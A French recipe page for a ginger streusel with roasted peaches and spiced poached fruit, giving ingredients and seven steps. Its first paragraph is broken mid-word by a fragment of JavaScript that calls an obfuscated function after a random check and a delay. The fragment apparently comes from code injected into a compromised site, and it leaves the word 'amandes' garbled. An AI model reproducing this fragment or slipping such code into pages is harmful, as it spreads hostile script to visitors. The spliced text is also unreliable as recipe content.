Struzel au gingembre et pêches rôties

2017-12-24

Dans un récipient mélangez le beurre, le sucre, la cassonade, la farine, le gingembre et la poudre d’amandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes. Travaillez la pâte avec le bout des doigts pour obtenir un appareil homogène. Placez au frais pendant 3 heures minimum.

Ingrédients

  • Pour 4 personnes
  • 2 pêches blanches
  • 90 g de beurre ramolli
  • 6 cuillères à soupe de sucre en poudre
  • 1 cuillère à soupe de cassonade
  • 80 g de farine
  • 2 cuillères à soupe d’amandes en poudre
  • 4 pincées de gingembre en poudre ou râpé
  • 2 cuillerées à soupe d’épices :
  • Poivre noir en grains
  • Cannelle en poudre
  • Anis vert en grains

Préparation de la recette

Etape 1

Dans un récipient mélangez le beurre, le sucre, la cassonade, la farine, le gingembre et la poudre d’amandes.

Etape 2

Travaillez la pâte avec le bout des doigts pour obtenir un appareil homogène. Placez au frais pendant 3 heures minimum.

Etape 3

Préchauffez le four à 180°C thermostat 6 . Pelez, coupez en deux les pêches. Ôtez le noyau. Versez 50 cl d’eau dans une casserole.

Etape 4

Portez à ébullition, jetez les épices moulues, et faites pocher les pêches pendant 5 minutes.

Etape 5

Arrêtez la cuisson et laisser infuser à couvert. Égouttez les fruits et faites-les dorer dans du beurre. Réservez au chaud.

Etape 6

Étalez la pâte et découpez 4 cercles de 5 cm de diamètre à l’aide d’un emporte-pièce et enfournez 5 minutes. Dressez sur des assiettes. Tranchez chaque demi pêche en fines lanières.

Etape 7

Placez au centre un cercle de pâte et déposez dessus les tranches de fruits. Saupoudrez d’épices et servez.

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